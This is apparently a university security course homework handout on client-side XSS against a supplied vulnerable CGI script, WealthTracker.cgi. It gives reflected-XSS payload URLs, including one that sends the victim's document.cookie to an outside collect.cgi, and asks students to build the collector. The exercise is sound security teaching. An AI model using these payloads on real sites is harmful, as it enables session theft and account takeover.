
CISC 367 – Spring 2016

Homework Assignment – Client-side XSS Attack

Download WealthTracker.cgi.

http://<IP>/cgi-bin/WealthTracker.cgi?name=<script>alert(document.cookie);</script>

http://<IP>/cgi-bin/WealthTracker.cgi?name=<script>alert("Hello from a cookie stealer");</script>

Implement a collect.cgi and demonstrate that an attacker’s website could collect victim’s

cookies.

http://<IP>/cgi-bin/WealthTracker.cgi?

name=<script>window.open("http://www.cis.udel.edu/cgi-bin/collect.cgi?cookie="+document.cookie)</script>

http://www.cis.udel.edu/~cshen/367/notes/WealthTracker.cgi

